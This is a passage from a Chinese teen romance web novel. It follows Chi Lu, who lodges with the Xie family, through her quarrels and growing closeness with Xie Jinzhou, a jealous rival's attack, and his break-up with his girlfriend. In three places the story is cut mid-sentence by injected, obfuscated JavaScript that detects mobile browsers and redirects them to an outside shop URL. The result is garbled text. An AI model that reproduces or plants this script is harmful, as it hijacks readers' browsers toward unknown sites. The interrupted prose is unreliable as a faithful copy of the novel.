跟金钱比起来,男朋友算什么,不过是她身为大姐大的另一重谈资,少了谈资没什么,但她不能没有钱。 现在不一样了,老爸、老妈都跑了,她自由了,她可以放肆地想谈恋爱就谈恋爱。 但她现在却没有谈恋爱的心思。 爱情是什么滋味,她从来没体验过。 * 驰路走到卫生间,蹙眉,拧开生锈的水龙头,刷牙、洗脸,脑中蹦出方才谢劲舟说的那句话“舟哥,你别离开我”。 奇怪,她为什么要说那句话? 正百思不得其解,后背迎来重重一击,还没来得及转头,又是重重一击。 “啊!”驰路疼得叫出了声。 “谢林乔,你在做什么?”响起冷然男声。 驰路转头看,看到旁边房间门口站着蓬头垢面的小女孩,手里正拿着一把弹弓,像看仇敌一般地看着她。 驰路又往楼梯拐角处看,看到正准备下楼的谢劲舟。 她抹了抹脸上的水珠,往外走,在距离小女孩几步远的地方看她,沉着脸,压抑着心头怒火,看似平静地望着谢林乔:“小孩儿,你就这么讨厌姐姐?知不知道打人是不对的?” 谢林乔丝毫不怕驰路,死死地瞪着她:“你霸占了我哥哥的房间,你是坏蛋,大坏蛋!” 谢劲舟绕过驰路,走到谢林乔身边,蹲下身,从她手中拿走弹弓,双手搭在她肩头,面色温和:“小乔,哥哥不是跟你说过,不是姐姐霸占了哥哥的房间,是哥哥自愿把房间让给姐姐的。” 谢林乔不听劝,还瞪着驰路,大声说:“哥哥,你让她走,我不想让她住在我们家!” 七岁的小女孩,把气愤演绎到了极致。 谢林乔说的话,直击驰路的软肋,跟她梦里的如出一辙,只不过她没有去剪蚊帐,但她的背却遭了殃,被打过的地方隐隐作痛。 “算了,没事。”驰路说得毫不在意,心里却有块地方塌陷了,阵阵酸涩涌上心间。 她关上门,掀开蚊帐,砸到床上,有种想大哭一场的冲动。 老爸说“阿驰,等爸爸东山再起了就把你接过来”时,她没哭;老妈说“阿驰,妈妈现在没法带你走”时,她也没哭。 可为什么,她现在想哭? 好像有人把她往深海里拽,一点一点地拽进去,她看不见光了,目光所及处,皆是黑暗,漫无天日地将她层层包裹。 有人敲门,她没听见;有人走到床边,她也没注意。 谢劲舟看着趴在床上的驰路,她穿着白色真丝吊带,在射进来的阳光下,泛着珍珠般的光泽。 她后背露出的肌肤白得发光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560724|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,蝴蝶骨的中间是一只断翅的黑色蝴蝶,链接处的破碎,看一次,让人心惊一次。 断翅的地方,有几道淤青,还有两个新起的红色伤痕,圆圆的,凹进去一些,似要陷入她的肉里。 他对蝴蝶的品种知之甚少,从他第一次在她后背上看到,便去查了,才知道这是燕尾蝶。 燕尾蝶,寓意,执着、勇气、改变、自由。 破茧才能成蝶。 她当初文这只燕尾蝶时,在想什么?为什么是断翅? 翅膀断了,飞不起来,何谈自由? 谢劲舟静静地站着,一向冰冷的目光,不知是不是被阳光照着,显得柔和。 他的目光,从她的后背,一路往下,看到吊带往上了些,露出她纤瘦的腰肢,再往下是丰满的臀、洁白笔直的腿。 每一寸目光,宛若蘸了烈阳,烫过她的身体。 最终,落在她的右脚踝处,这次看清,交叉环绕两层的细线,上面有潦草的字母,还有一只侧着飞舞的小小蝴蝶。 谢劲舟想细看写的是什么,驰路翻过身,单手撑着脑袋,侧身看他:“谢劲舟,你是要赶我走吗?” 她明明笑着,眼里却浮着一层薄薄的水光。 她见过的谢劲舟对谁都冷漠,但她发现他对他妹妹极其温柔,她要什么,他都满足她。 他妹妹希望她走,所以,他也会满足她妹妹,来赶她走吧。 “驰路,你要老子说几遍!”谢劲舟脸一沉,剑眉一蹙,“老子说了,我不会赶你走,你就住这里。” “你妹妹呢?” “老子来摆平!” 驰路仰头看他,唇角漾开一抹笑:“好,很好!”笑意不明,眼里的水光荡漾,如漾开的水纹,渐渐远去,渐渐消失。 她把每一次的笑都拿捏得恰到好处。 像夜晚怒放的野玫瑰,浓得娇艳,烈得灼心。 * 谢劲舟走了,驰路感觉周围一下子空了。 她能感受到谢劲舟在这个家里的地位,只要他不赶她走,她就能继续留在这里。 也就意味着,现在的她,是安全的。 驰路忽然笑了,这笑意丝毫没抵达到眼里。 她起来,把蚊帐两边挂好,正打算换下衣服下楼吃饭,忽然听到敲门声,顿时停住。 驰路背朝门,正抬手想脱吊带,正掀到中间位置,又立马松手,顺滑的真丝吊带又落下去,盖住她原本露出来的光洁肌肤。 “进来吧。” 谢劲舟推门而入。 驰路不知道,刚才门没关好,她的那片旖旎风光,都被他看了去。 正值青春期的少年,浑身涌动热血。 他明明没那么怕热,此刻却觉得浑身有些燥热。 驰路说:“我换下衣服就下去吃饭。” 谢劲舟走到她身旁:“你先躺下。” 驰路不解:“干吗?” “躺下。”谢劲舟有些不耐,“让你躺下就躺下。” 这人怎么这么霸道! 驰路见他不会解释的样子,寄人篱下,该妥协时就妥协,他应该也不会对自己做什么。 她正想正面躺下,却听到谢劲舟说:“趴着。” 驰路无奈,见他面无表情的样子,只好依然照做:“谢劲舟,你到底要干吗?” 谢劲舟见她趴了下来,便坐到床边,正想撩开她的吊带,被警惕的驰路一把按住:“谢劲舟,你不会是要耍流氓?” “老子耍流氓也是挑人的!”谢劲舟的手没挪开,依然放在她的吊带衣摆上,“老子来救死扶伤了。” “……”她是伤残人士,还是濒死人士?她怎么不知道! 8. 谢劲舟,你养我啊? 「太阳升起,秒针滴答,成长还没发芽,心脏好像要开花。」 ——《孤舟难行》 驰路引以为傲的除了自己那双能勾人的狐狸眼,还有她走到哪儿都能吸引无数男生的身材。 她身高一米七二,身材堪比模特,蚂蚁腰,丰胸翘臀,每一处都散发出属于少女的魅惑。 只要见过她的男生,无一不为她折腰。 但像谢劲舟如此坐怀不乱、面不改色的男生,她还是头一回见。 谢劲舟所谓的救死扶伤,便是在他那冷酷妹妹留下的伤痕上抹药。 她侧头看他,他正神色淡定地用指腹在她后背上抹药。 他的指腹有些粗糙,她能感受到他指腹上的纹路。 “疼吗?” “疼又怎样?” “小乔平时不这样。”谢劲舟抚过她两个泛红的伤痕,眸光暗下去,“这次你来,她觉得你霸占了我的房间,不开心。” “不开心就可以打人?”驰路想起了谢林乔眼里的冷漠,跟她哥哥一个样。 “打人是她不对,我已经教育过她了。” “你是不是很疼她?” “她是我妹妹。” 驰路发现他的目光变得柔和。 谢劲舟抹完新伤,看着其他条状的淤青,用指腹轻轻抚过。 驰路有些痒,像警觉的猫咪似的,用力拨开他的手:“你干吗?” “那些旧伤是怎么来的?” 驰路眼尾往上一挑:“你不像会多管闲事的人。” 谢劲舟眉头一拧,站起身,把药罐放到一旁:“旧伤你自己抹,老子没有义务帮你抹。” 说完,他头也不回地走了。 她以为他会做点什么,跟她之前认识的男生一样,逮着机会对她动手动脚,结果,他一点没越界。 驰路在书桌旁放了一个新买的落地镜,走到镜子前,望着后背的淤青,摸了几下,再稍稍按了按,不禁疼得龇牙。 原来,旧的伤痕,还会令人疼痛。 * 驰路正准备下楼,收到了安然发她的微信,转的几条微信公号上的文章,个个都是标题党:“号外号外!惊天头条!芳町三中校霸竟然是他!”“芳町三中校霸堪称痞帅天花板!”“校霸也疯狂之招蜂引蝶篇”…… 随之收到的是安然关切的总结:阿驰,为了你的美好前途,姐妹帮你特意调查了下你们那儿的校霸,比我们这儿的校霸还要疯,你一定、一定、一定要远离这个人!!! 驰路给她发过去一张之前谢劲舟在院子里给菜浇水的照片。 安然惊得不行,立马拨过来一通视频,不可置信地问:“阿驰,你哪儿弄来谢劲舟的这张照片?这么贤惠?还照顾花花草草?” 驰路笑着说:“我住他家。” 安然瞳孔地震,嘴巴大张:“什么???” “阿驰,你完了,你怎么能住他家,你去看看我发你的,他可是打架不眨眼的恶魔、夺人芳心不负责的渣渣!” 传闻总爱添油加醋,甚至黑白颠倒。 没有见过事实,就没有妄加评论的资格。 谢劲舟是传闻中说的这种人吗? 他没那么坏吧。 “就是……”驰路想起了谢劲舟每次见谢鸿运,两人不是吵架就是打架,“你的情报里是不是漏了一条,他有一个爱酗酒、爱赌博的爸,你知道他跟他爸说什么吗,他说,你再去赌,被我知道了,把你的手剁了!” 她爸对她态度最恶劣的时候,她会顶嘴,却从没放过这样的狠话。 “什么!!!”安然几乎惊掉下巴,“他竟然跟他爸说这样的话,他是混□□的吗?” “不明白他为什么要跟他爸说这么狠的话。” “听我一句劝,速速远离谢劲舟,保命要紧!” “远离做不到,毕竟在同一个屋檐下,但这样的人……”驰路想继续说点什么,忽然耳边传来“砰”的响声,吓得她心间一跳,朝门边望去。 由于撞击力道大,门还在来回撞击着墙,发出刺耳的响声。 门口站着一个少年,染着雾霾蓝的头发、戴着黑色耳挂,嘴唇紧紧抿着,幽深的眼眸里射过来一道目光,冷冽的、狠戾的,像要吃人的猛兽。 难道…… 刚才她跟安然的对话都被他听到了? 完了,今天命中注定有一劫了! * 驰路以为谢劲舟要对自己做点什么,哪怕不做什么,也要说点什么,但这人在门口站了几十秒后,转身走了。 每一步都走得那么重,仿佛在对她进行控诉。 驰路回想了下刚才跟安然都说了什么,是哪句话让他生气了? 是安然给他贴的标签,还是自己抖出他家的丑事? 反正两个都不是什么好事。 驰路深深地叹了口气,整理好情绪后下了一楼,看到这次桌上多了个罩子,把食物都罩住,苍蝇也变少了。 她拿开罩子,这次吃的比昨天早上的要丰盛多了,除了米粥,还有油条、包子、葱油饼,这伙食怎么一下子有了质的飞跃? 正在她疑惑间,听到一旁谢劲舟的手机里发出声音:“舟爷,你让我买的早餐,驰妹爱吃不?” 这是罗子昂的声音。 谢劲舟让罗子昂特意去买早餐了?他这是安的什么心? 他看起来很像那种闲得去管她早餐的人?她可不觉得像! 谢劲舟看都没看驰路一眼,对着手机发语音:“老子后悔了。” 罗子昂哀号:“舟爷,你不会想抵赖,不给我早餐费吧?” “老子后悔让你去买了。” “为什么啊,舟爷?” 谢劲舟吊儿郎当地坐在椅子上晃腿:“某人的朋友说你舟爷是恶魔和渣渣,某人添一把火,抖出你舟爷有酗酒赌博的老爸,还广而告之你舟爷跟他老爸撂下的狠话。你说要不要给某人安排这么丰盛的早饭?” “啊!”罗子昂先惊后悟,“这哪儿能呢,不能够啊,还早饭,粥都别给她喝。” 谢劲舟嘴角扬起一抹浅笑,悠悠然地回:“老子也这么觉得。” 驰路听得火气一点点往上蹿,他们这是完全把自己当空气了? 让她别吃她就别吃?没门儿! 驰路迅速拿起一根油条,用力狠狠吃了一口,还故意吃得咯嘣脆,边吃边故意瞪着谢劲舟。 谢劲舟给罗子昂转了早餐费,把手机扔到一边,想从驰路嘴里拔出油条,但她像只土拨鼠似的,吃了一口又一口,嘴巴里塞得满满的。 “驰路,你就这么爱爆别人家的丑闻?说不说?” 他步步紧逼,驰路嘴巴里塞着油条,有些难受,说不出话,连忙跑到外面,将嘴里的油条全部吐到垃圾桶里,又咳嗽了好一会儿,才进屋,红着眼眶:“谢劲舟,你就是个神经病!” 谢劲舟面色阴沉,半晌,皮笑肉不笑道:“你现在才知道吗?” 驰路有一身傲骨,但面对这样的混子,没法跟他讲道理。 她不得不低头,忍住心里的火气,佯装平静:“我替我朋友向你道歉,她不应该看到网上的信息,就说你是那样的人。还有,我跟朋友说你家的事,是我不对,对不起!” 她看了看桌上的早餐:“谢谢你为我准备的早餐。我不吃了。” 驰路完全没了吃的欲望,就算饿死,她现在也不会吃一口。 她转身要走,手腕却被人紧紧拽住。 “去哪儿?”谢劲舟把她按下来,“吃完再走。” “我不想吃。”驰路想站起来,搭在她肩上的双手又紧了紧,“吃饱了才有力气跟老子斗!” 也是,跟自己的身体过不去干吗! 驰路正打算吃时,谢林乔来了,坐在她对面。 她夹肉包时,谢林乔跟她夹同一个;她夹油条时,谢林乔也跟她夹同一个;她夹葱油饼时,谢林乔也跟她夹同一个。 他们兄妹俩,都跟她有仇吧? 能不能好好吃个早饭? 驰路真恨不得把肉包、油条、葱油饼都甩谢林乔脸上,告诉她:“你再跟姐抢,姐用油条把你勒死!” 但她肚量还没小到跟一个七岁的小孩计较。 她再夹别的就是,就在她在夹另一个肉包时,谢林乔还想夹时,在一旁一直没反应的谢劲舟终于说话了:“谢林乔,你给我乖乖吃饭!” 接下来,谢林乔不跟驰路抢了。 这顿饭是丰盛了,但驰路吃得很不爽,想到这样的日子要持续一年,她有点想用油条把自己勒死! * 吃完饭,驰路想把这两天的衣服洗下,问正在收拾碗筷的谢劲舟:“你家的洗衣机在哪儿?我想洗下衣服。” “楼梯旁边的卫生间里。”谢劲舟把碗摞在一起,刚想走,又停下,叫住驰路,“驰路,你真把自己当大小姐了?在别人家,就不知道干点活儿?” 驰路一脸懵:“我需要做点什么?” “洗碗。” “不会。” “擦桌子。” “不会。”怎么可能都不会,她只是不想做。 谢劲舟不耐地用舌尖顶了顶后槽牙:“驰大小姐,你会什么?” 驰路眉眼一弯,笑:“会吃。” “你怎么不说,还会睡。”谢劲舟冷笑,“知道只会吃、只会睡的动物是什么吗?” “是我这样的高等物种。” “想多了吧。”谢劲舟哼笑,“是猪!” “谢劲舟!”驰路咬牙,还过去一句,“你养我啊?” 谢劲舟调侃道:“如果你是猪的话,我可以考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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来了一波又一波,都是不同的人,看她的眼神,像在看动物园里的动物。 因为她是新来的,大家来看看她? 这些人有够无聊的! 她正有些不爽时,盆里被扔了一件白色T恤,她看到了上面的红色唇印。 驰路一抬头,看到冷着脸的谢劲舟,神色极其不好看,这谁又惹他不开心了? 他目不转睛地盯着她紧身的白色背心,她坐在矮板凳上,从他这个角度,能清晰地看到她胸前乍现的春光,也能看见她弯腰洗衣服时,露出的那截光洁白皙的腰。 谢劲舟的眉头顿时紧蹙,舌尖舔了舔后槽牙,阴着脸说:“驰路,你知不知道什么叫羞耻心?” 驰路大为不解:“我怎么了?” “你穿成这样是要给谁看?”谢劲舟咬了咬牙根,“你这是把自己当卖的?” 话特别刺耳,像根针似的往她心里钻,扎得她的心又疼又不爽。 那些围观的人,大多数是男的,所以……他们不是冲着她是新来的,而是冲着她的性感来的? 之前她穿着这些衣服在大街小巷上招摇,腰上挂着腰链的时候都没觉得有什么,可为什么现在被谢劲舟这么一说,她怎么有些害臊! 驰路把手放进一旁干净的盆里,洗掉手里的泡泡,站起来,拉了拉衣摆说:“我去换件衣服。” 谢劲舟挡在她身前没让她走。 “干吗?”她这要去换衣服还不肯? 谢劲舟从身后变魔法似的,变出一件白色T恤,直接往她头上套。 驰路呆住,他这是什么操作! 这不是自己的T恤,她闻到了衣服上阳光混着皂香的味道,明媚得让她恍如进入一片向日葵花田。 谢劲舟那富有磁性的低沉嗓音在她耳畔响起:“伸手。” 驰路忽然像个木偶,依言照做。 穿好了,他还特意帮她拉好衣摆。 穿着谢劲舟的衣服,像小孩偷穿了大人的衣服,把她的运动短裤都盖住,完全诠释了什么叫下身失踪,露出她那双又长又笔直的双腿。 谢劲舟往后退了两步,好整以暇地把她上下扫了遍:“不行,去换条长裤,没有的话,老子可以借给你。” “……”他这是发什么疯?早上还往她嘴里硬塞油条,现在又帮她遮春光,他在想什么? 不管他在想什么,驰路觉得自己不能穿这么露的在外面洗衣服了,要不然她可真成动物园里的珍稀动物了。 门口的人没散,越聚越多,一个个都在看好戏,男的露出猥琐,女的露出厌恶。 谢劲舟抬眸,朝门口的那些人冷声吼:“看什么看,都给爷滚!” 驰路不知道是不是谢劲舟气势太足,还是在这一片浑得厉害,看戏的人总算走了。 谢劲舟双手往口袋里一抄,垂眸盯着驰路:“下次不管是下楼还是出门,别让老子看到你穿短款背心!” 驰路看不惯他这副颐指气使的样子:“谢劲舟,你是我什么人,凭什么管我?” “你住我谢家一天,就是我谢家的人。”谢劲舟一字一句地说,“只要是我谢家的人,都得听我的!” 9. 遭社会姐围殴 「在十八岁蝉鸣聒噪的夏天,有人帮我拂去命运的尘烟,送我一个明媚的人间。」 ——《小蝴蝶的暗夜》 家人是什么?是逢年过节,跟你围桌而坐的人;是你过生日,帮你买蛋糕送你生日祝福的人;是跌落谷底,把你从淤泥里拽出来的人。 可是,她还有家人吗? 这是她来芳町镇的第三天,老爸没有来过一通电话,老妈昨天倒是打了一通,让她在这里要听话,别交一些乱七八糟的人。 然后呢?还是把她独自扔在了一个陌生的地方。 谁都不要她了,何谈家人? 听着谢劲舟说“你住我谢家一天,就是我谢家的人”,驰路觉得自己恍若活在梦里。 这场梦过于绮丽,她有些不愿醒来。 驰路的心一下子软了下来,狐狸眼里露出一抹笑,语气也变得温和:“舟哥,谢谢你。” 谢谢你陪我逛街,谢谢你帮我装蚊帐,谢谢你帮我抹药,谢谢你为我准备丰盛的早餐,谢谢你愿意收留我,谢谢你愿意把我当成你的家人。 谢劲舟似乎想说什么,驰路没听到,却听到身后传来温柔的女声:“舟哥,你什么时候愿意把女朋友往家里带了?” 驰路一转头,看到一个长得很清纯的女生,穿着一身白色的纱裙,留着黑长直的头发,披散下来,如瀑布般在胸前流淌。 她的皮肤跟这里其他女生的肤色都不一样,没有被风吹得发黄发暗的肤色,而是牛奶般的白皮,眉眼间流转温柔,像坠入人间的天使。 驰路看到谢劲舟那张冷漠的脸上终于浮现一丝笑意:“我朋友,岑语欢。” 他看向岑语欢:“语欢,这是我跟你说的,住我家里的那位大小姐,驰路。” “是吗?”岑语欢走到他们身前,看着驰路身上的长T恤,“舟哥,我都没穿过你的衣服,如果她不是你女朋友,你怎么愿意让她穿你的衣服?” 谢劲舟看了看穿着他衣服的驰路,心里涌起一股微妙感,眯了眯眼,勾唇道:“她现在是我谢家的人,你舟哥的衣服,就是她的衣服。” 岑语欢问:“舟哥,你不会是喜欢上驰路了吧?” “语欢,你舟哥我什么时候脚踏两只船过?” 驰路一直望着两人,岑语欢的眼神全程黏在谢劲舟脸上,多余的眼神都没给她一个。凭她的第六感,岑语欢喜欢谢劲舟,但谢劲舟对她只是朋友之情。 岑语欢上前挽住谢劲舟的胳膊,笑容灿烂:“不是就好。” 这天中午,岑语欢被谢奶奶留下来吃午饭,谢鸿运不知道去哪儿了,没回来。 岑语欢坐在谢劲舟和谢林乔中间,一会儿给谢劲舟夹块红烧肉,一会儿给谢林乔夹块鸡排,一会儿给谢奶奶夹红烧豆腐,她自己没吃几口,光顾着照顾别人了。 明明不在自己家,她却像个主人。 驰路看不惯,但一点没表现出来,反而摆出主人的姿态,让岑语欢多吃点。 她看出了岑语欢的不爽,但她不在意。 不在意,才是最好的反击,不是吗? * 驰路下午没换衣服,穿着谢劲舟那宽松肥大的T恤出门了。 据谢劲舟透露的信息,从他家到芳町三中走路要二十几分钟,但骑车,快的话十分钟。 她不想把时间浪费在路上,独自上街,找到了卖自行车的地方,去买了辆自行车,又骑车去书店买了高三的辅导书、练习册。 本来想回去了,想了想又去专卖店买了几套乖乖女穿的常服。 驰路正骑着车七绕八拐地穿过巷子,成功迷了路,正打算找个人问问,忽然被人拉住了自行车。 她回头一看,身后站了三个人,一女生两男生,女生她认识,是谢劲舟的女朋友余夏。 余夏化着浓妆,穿着包臀短裙、紧身上衣,身材妖娆。 她从罗子昂那儿得知,余夏跟他们一个班,十七岁,但看她的穿衣打扮,说是二十七岁都不为过。 余夏踩着八公分的高跟鞋,用睥睨万物的高傲眼神望着驰路身上的那件白T恤,抬手用力往她胸口一戳,哼笑道:“你这个小婊/砸这么快就勾上我男朋友了?衣服都穿身上了?” 驰路知道自己一时半会走不了了,干脆立好车撑,毫不畏惧地看着余夏,淡定地笑:“舟哥帮我穿的。” “舟哥”两个字,被她说得百转千回,余夏听得眼里冒火。 “好啊,小婊/砸,你是不知道姐的厉害吧。”余夏瞪着驰路,朝两边的男生一抬手,“给我把她的衣服脱了。” 驰路意识到周围没有一个人,大概来到了某个偏僻的巷子吧,身后的墙上结了重重蜘蛛网,绿色藤蔓上满是灰尘。 两男生走向驰路,刚想碰驰路,驰路抬起右手肘,分别朝两人的下巴上重重顶去,顶得两人痛呼出声。 男生一看便是混道上的,很快有了反击,其中一个男生抬手狠狠地往驰路脸上招呼。 驰路眼疾手快地躲避,抬腿朝男生腹部狠狠踢去。 另一个男生怒了,朝驰路猛烈挥拳,驰路没来得及躲开,一拳狠狠地砸在她的右脸上,打得她趔趄地往后退了几步,鼻子、嘴里都冒出鲜血。 “看老子今天不打死你!”男生朝她的脑袋挥拳,却没想到被驰路伸手稳稳接住,并反手狠狠一拧,“咔嚓”一声,几乎能听到他手腕骨断裂的声音。 一旁看戏的余夏面色骤变,她怎么也没想到,看起来纤瘦的驰路竟然能迸发出如此强大的力量。 她见形势不妙,立马跟两个男生说:“今天就这样吧。”继而,又去看驰路,目光恶狠狠,“驰路,你别对我男朋友动什么歪心思,要是再有的话,就不是今天这样简单了。” 落于下风的人,说话底气十足,但只有她知道,心里慌得一比,转头离开时,手心里都在直冒冷汗,她真怕驰路会朝她挥拳。 巷子恢复寂静,烈阳肆意照耀,蝉鸣不绝于耳。 驰路被刚才那一拳打得,现在还有些眼花耳鸣。 她抹了把还在流血的鼻子,手心里全是鲜血,鼻血仍在流着,她却浑然不顾。 她有些无力地靠到墙上,一向那么爱干净的她,此刻全然不知蜘蛛网缠在她脑袋上,后背沾了一层灰。 此刻,她有些庆幸自己曾跟那帮狐朋狗友们混过,学过点防身术,要不然她现在应该早成砧板上任人宰割的鱼了吧。 眼前是方才混战中倒地的自行车,原本崭新的自行车上已经粘了尘土。 驰路靠墙仰头站了好一会儿,望着天空的眼睛有些茫然、空洞。 这儿的天很蓝、云朵也白,头顶是交错的电线,飞鸟掠过天空,划出一道好看的弧线。 她抬手,想触碰点什么,结果什么都没碰到。 只摸到了一束光,可这光好像并不属于她,也无法照进她的生命。 鼻子终于不流血了,她才弯腰扶起自行车离开。 * 回到栾花巷32号前,驰路把嘴角、鼻子上的血都用湿巾擦干净了才进屋。 一下午她都没出来,窝在屋里看书、写作业。 她问谢劲舟借了高二的课本和练习册,课本上的内容跟她之前学校学的有所区别,她将不同的地方快速看了遍,又把数学的暑假作业做了。 她跟谢劲舟说,写完的暑假作业算他的。 谢劲舟不屑道:“老子从来不交暑假作业!” 她把谢劲舟那件宽松的T恤脱下来洗了,晚上吃饭时穿着一件黑色短袖T恤,盖住腰,下身穿了条运动短裤。 全程低着头,基本不怎么夹菜,跟平时的她大相径庭。 谢奶奶见她一直不怎么夹菜,客气地往她碗里又是夹肉又是夹菜:“阿驰,你看你这么瘦,多吃点。” 驰路抬头笑着跟谢奶奶说:“谢谢奶奶。” 谢劲舟、谢鸿运都没在,就她、谢奶奶、谢林乔。 谢林乔用看外人的眼神看她:“爱吃不吃。” “小乔,你怎么说话呢。”谢奶奶教育谢林乔,“要记得叫人,这是姐姐,成绩很好的,你有什么不会的,可以问姐姐。” 谢林乔十分不屑:“谁要问她!” 谢奶奶叹口气,安慰驰路:“阿驰,这孩子脾气跟她哥一样,犟,但人不坏,你别往心里去。” “没事的,奶奶。”驰路有什么好在意的,在不在意不都这样吗,“小乔很可爱,也很乖。” 谢林乔斜眼睨她:“马屁精!” 驰路听得不爽,却硬生生挤出一抹笑。 谢奶奶做的饭很好吃,很对她胃口,现在却吃得索然无味。 谢奶奶看到了驰路嘴角的伤口,凑过去看:“哎呀,阿驰,你嘴怎么了,裂开了啊。” “没事,天太干了。”驰路笑着说,咧嘴时,牵扯到伤口有些疼。 就在这时,谢劲舟回来了,双手插兜,走路带风地走进来:“奶奶,小乔。” 他拉了把椅子,坐在了驰路身旁,一侧头,瞥见了她右嘴唇上的伤口,不只是裂开,还肿了,她的右脸也有些肿。 这样的伤口,他见多了,被打后留下的。 谁打的? 他眉头一蹙,面色沉下来。 * 这顿饭,谢劲舟很快吃完,这次没帮谢奶奶收拾碗筷,也没带谢林乔去玩,而是直接上了二楼,敲驰路的房间门。 敲了一遍又一遍,没人应。 谢劲舟的耐心几乎用尽,压着声音说:“驰路,开门!” 驰路靠在门边,听到打破寂静的敲门声,像鼓手在敲鼓,让她死寂沉沉的世界,终于有了点生气。 她那颗陷落黑暗的心,像被人吊着,一点点吊上来,看到了些许光明。 驰路终于开了门,只开了小小的一道缝,仰头看谢劲舟:“你来做什么?” 谢劲舟强势又霸道地将门一把推开,又一把将门关上,把她压到门上,用食指挑起她的下巴,拇指轻轻抚过她右嘴角的伤口,神色一凛:“谁打的?” 驰路这次没动,直直地望着他那双迷人又深邃的眼眸,望着望着忽然笑了:“这重要吗?” 谢劲舟又问了遍:“谁打的?” 驰路说:“你女朋友让人打的。” 谢劲舟朝门板重重锤了一拳,吓得驰路的心猛然一跳。 她还是第一次看到眼神凶得要杀人的谢劲舟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢劲舟穷追不舍,俯身压到了她身上,把手上的药膏轻轻涂抹在她脸上,边涂边说:“阿驰,你躲什么!怕老子吃了你!” 他们的身体毫无缝隙地贴在一起,他的气息尽数拂过她的脸颊。 他结实的胸膛压着她柔软的胸脯,她那颗心脏不由自主地怦怦直跳。 她望着他的眼睛,看到了他眼里自己的倒影,小小的自己,慌乱的自己,害羞的自己。 之前,人人都说她千娇百媚,现在看来,还有人比她还蛊惑人心。 他身上的烟味、皂香味,喷涌的荷尔蒙气息,扑鼻而来,几乎将她覆没。 她怕再这样下去,她就要乱了心神,连忙推开他,从他指腹间勾过剩余的药膏,垂眸往自己脸上抹:“我来吧。” 抹匀了,驰路才停手。 “我看看。”谢劲舟扳过驰路的脸,看到她油到不行的右脸,不禁笑了。 “是不是很丑?”驰路拿开他的手,立刻转头,松开马尾辫,拿头发挡住右脸。 “驰路。”谢劲舟的声音变得很低。 “嗯?”驰路看他,看到他正盯着自己。 “以后谁再欺负你,你告诉我,我替你还回去!”谢劲舟把她刻意挡在右脸上的头发捋到耳后,勾唇,“我谢家的人,没有丑的。” 夏夜晚风干燥,蝉鸣聒噪,裹挟着青春的波涛,将两人淹没,定格在炙热的十八岁。 * 两人间的寂静被一阵铃声打破,谢劲舟一看,是罗子昂打过来的视频通话,他皱了皱眉,接了。 只见罗子昂顶着他那吊炸天的白色刺猬头,咋咋呼呼道:“舟爷,你知道,咱的驰妹还是民间高手吗?” 谢劲舟的眉头皱得更紧了,什么咱的驰妹! “怎么高手了?”谢劲舟朝身旁的驰路看了眼,看到她已经盘腿坐在床边了,腿在灯光下越发白皙,圆润光洁的脚指头上涂抹着酒红色的指甲油,泛着诱人的光泽。 罗子昂激动道:“我今天听铁头说,她以一敌二,打得两个浑蛋满地找牙,完胜!” “是吗,阿驰?”谢劲舟朝驰路挑了挑眉。 罗子昂这才发现谢劲舟后面的背景不对:“舟爷,你不会是在驰路的房间吧?” 谢劲舟将驰路耳后的头发盖住右脸,才把镜头挪到她面前:“来,让当事人发表完胜感言。” 罗子昂眼睛发光地看着驰路问:“驰妹,你是怎么把那两个浑蛋打得满地找牙的?” “之前学了点防身术。”驰路并不觉得自己一挑二是多么骄傲的事,她庆幸对方武力值不佳,且没有武器,要不然她也不会轻易逃脱。 罗子昂说:“以后教教哥。” “有机会的话。” 罗子昂还想说什么,手机被谢劲舟拿了过去,跟他说:“好了,就这样,挂了。” 谢劲舟给罗子昂发过去一条信息:罗刺猬,帮爷去查下,那两个浑蛋是谁。 10. 浪子哥果断分手 「我不介意站在光的这一面,但总有人将我拖进深渊。」 ——《孤舟难行》 夜晚的芳町镇陷入寂静,偶有几声狗吠,夹杂着几声猫叫。 晚归的谢劲舟开着他那辆深蓝色重型摩托车回家,为了不打扰家人睡觉,停到邻居家时便停下来,推着回家,放到了车棚里。 他摘下头盔,放好车,刚想锁好车棚,瞥见一旁的自行车。 这车他知道,价格不菲。 家都落魄了,这花钱还没收敛! 车棚里悬着一盏黄色的小灯泡,被擦得干干净净。 他看到车龙头有些歪,走过去把车龙头弄正。走近了看到车身上有些尘土,拿出抹布擦干净。 当擦到扶手时,猛然停了下,那儿有一块漆掉了,他的脸色肉眼可见的一沉。 谢劲舟掏出手机,翻到余夏的聊天框,看到她给自己发了十几条短信,都是一堆废话,什么“男朋友,你吃饭了吗”“男朋友,你今天还去网吧吗”“男朋友,你怎么不理我”“男朋友,我想你了”…… 之前,他看到这些信息时不觉得有什么,但现在看着,没来由地一阵烦躁,眉头紧紧蹙起。 他给她发过去一条信息:别惹驰路! 紧接着又发去一条:从现在开始,老子不再是你的男朋友! 发完,他毫不犹豫地把余夏拉黑了,连同她的电话号码也加入黑名单。 从此,陌路。 陌生号码给他打来电话,他挂掉,对方又打来,他又挂掉。 等到第三遍时,谢劲舟烦躁地接了,电话那头是哀婉哭泣的女声:“舟哥,你就因为驰路,要跟我分手吗?” 谢劲舟用舌尖顶了顶后槽牙,没说话。 余夏继续带着哭腔说:“舟哥,是我错了,我不该叫人去教训驰路,你不要跟我分手,好不好?”“舟哥,你说句话,好吗?” 